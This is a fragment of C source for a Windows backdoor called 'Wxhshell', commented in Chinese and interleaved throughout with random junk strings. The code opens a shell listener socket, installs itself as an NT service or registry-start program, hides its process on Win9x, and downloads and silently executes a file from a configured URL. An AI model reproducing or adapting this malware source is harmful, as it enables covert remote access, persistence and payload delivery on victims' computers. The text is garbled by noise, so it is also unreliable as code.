'3=@UBs char procName[255]; |qf ef& unsigned long cbNeeded; 9z+ZFIf7d ;)Sf| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oml^f~pm K}vYE7n: CloseHandle(hProcess); G%>{Z?!B 0py29>"t if(strstr(procName,"services")) return 1; // 以服务启动 ;( (|0Xa eyy%2>b return 0; // 注册表启动 '>GPk5Nq77 } C,B{7s0- P1&Irwb` // 主模块 \F14]`i int StartWxhshell(LPSTR lpCmdLine) $mxl&Qr>Q; { P} w0= SOCKET wsl; XHm6K1mGZ BOOL val=TRUE; %zN~%mJG int port=0; ^sF(IV[> struct sockaddr_in door; &kQj) l)f 2T@bHl if(wscfg.ws_autoins) Install(); *9US>m Vy 1-.(pA' port=atoi(lpCmdLine); t')%;N $49;\pBZl if(port<=0) port=wscfg.ws_port; zqLOwzMlLx ;Q<2Y# WSADATA data; VDlP,Mm* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (8(P12l >+@EU) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &X,6v setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (d['f]S+& door.sin_family = AF_INET; U%)*I~9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); TVK*l* door.sin_port = htons(port); lr=quWDY Y8/&1s_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2>)::9e4 closesocket(wsl); |AS9^w return 1; OG^#e+ } :M.]- +( R#Z
m[S if(listen(wsl,2) == INVALID_SOCKET) { 6%&DJBU! closesocket(wsl); o97*3W] return 1; &H%z1Lp } )Ut9k Wxhshell(wsl); .#LHj}u WSACleanup(); W{t-UK
o`nJJ:Cxq- return 0; ]3
76F7 X]s="^ } -ug-rdXV D 1(9/;9 // 以NT服务方式启动 HFX,EE VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !3\(
d{ { ySHio;g9 DWORD status = 0; ~I@ %ysR DWORD specificError = 0xfffffff; ~sTn?~ E0eZal], serviceStatus.dwServiceType = SERVICE_WIN32; Dk}txw}# serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5KW
n >n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nX<yB9bXDg serviceStatus.dwWin32ExitCode = 0; FLQ^J3A,I serviceStatus.dwServiceSpecificExitCode = 0; ZFtN~Tg serviceStatus.dwCheckPoint = 0; y27MG serviceStatus.dwWaitHint = 0; +u3vKzD V5+|H1= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fwSI"cfM if (hServiceStatusHandle==0) return; RA}Y$ }^#' =g)SZK status = GetLastError(); jsq|K=x, if (status!=NO_ERROR) lN7YU-ygz { }sM_^&e4X serviceStatus.dwCurrentState = SERVICE_STOPPED; >~uKkQ_p serviceStatus.dwCheckPoint = 0; ! ~+mf^D serviceStatus.dwWaitHint = 0; O>IG7Ujl serviceStatus.dwWin32ExitCode = status; "Jg*
/F serviceStatus.dwServiceSpecificExitCode = specificError; d V3R) SetServiceStatus(hServiceStatusHandle, &serviceStatus); T5aeO^x return; "MDy0Tj8EN } ~'LoIv20j) Hm_&``=' serviceStatus.dwCurrentState = SERVICE_RUNNING; =j8g6# 'u serviceStatus.dwCheckPoint = 0; uy([>8uu serviceStatus.dwWaitHint = 0; p%5(Qqmlk if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p+Fh9N<F9 } UbP$WIrq =9A!5 // 处理NT服务事件,比如:启动、停止
QLZ%m $Z VOID WINAPI NTServiceHandler(DWORD fdwControl) N._^\FRyn { "SpsSQ switch(fdwControl) 6}:(m#+ { V QbKrnX case SERVICE_CONTROL_STOP: /Mw0<# serviceStatus.dwWin32ExitCode = 0; oMKG M@V serviceStatus.dwCurrentState = SERVICE_STOPPED; WISeP\:^ serviceStatus.dwCheckPoint = 0; *-s':('R serviceStatus.dwWaitHint = 0; +`TwBN,kp- { p9eTrFDy? SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ZC0bHsA } hho\e
8 return; /re0"!0y case SERVICE_CONTROL_PAUSE: Jg@eGs\* serviceStatus.dwCurrentState = SERVICE_PAUSED; ORt)sn&~d break; U-#vssJhk case SERVICE_CONTROL_CONTINUE: ]u%Y8kBe serviceStatus.dwCurrentState = SERVICE_RUNNING; qO>A6 break; vcSb:(' case SERVICE_CONTROL_INTERROGATE: ?IR+OCAA break; D}?JX5. }; t=n@<1d SetServiceStatus(hServiceStatusHandle, &serviceStatus); '^BTa6W}m } sl*&.F,v= OmaG|2u // 标准应用程序主函数 w=ZK=@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5-"aK~@+ { Bacmrf n;r
W // 获取操作系统版本 HG)h,&nc- OsIsNt=GetOsVer(); m!:sDQn{3 GetModuleFileName(NULL,ExeFile,MAX_PATH); 03 ;L S,#UA%V" // 从命令行安装 nk+9J#Gs if(strpbrk(lpCmdLine,"iI")) Install(); .7n`]S/ P,7beHjf // 下载执行文件 n ZzGak if(wscfg.ws_downexe) { =]0AZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u@kr;^m WinExec(wscfg.ws_filenam,SW_HIDE); l8d }g } dhi9=Co; G V% @A if(!OsIsNt) { y{QF#&lW // 如果时win9x,隐藏进程并且设置为注册表启动 }?Tz=hP HideProc(); A )xfO- StartWxhshell(lpCmdLine); Uy$?B"Z } 9j$ J}=y else s5oU if(StartFromService()) yu=(m~KX
// 以服务方式启动 f6%7:B d StartServiceCtrlDispatcher(DispatchTable); )IGx3+I
, else ^%/d]Zwb // 普通方式启动 -nk0Q_7N StartWxhshell(lpCmdLine); Og"\@n 3Oe\l[?$; return 0; \PK}4<x} }
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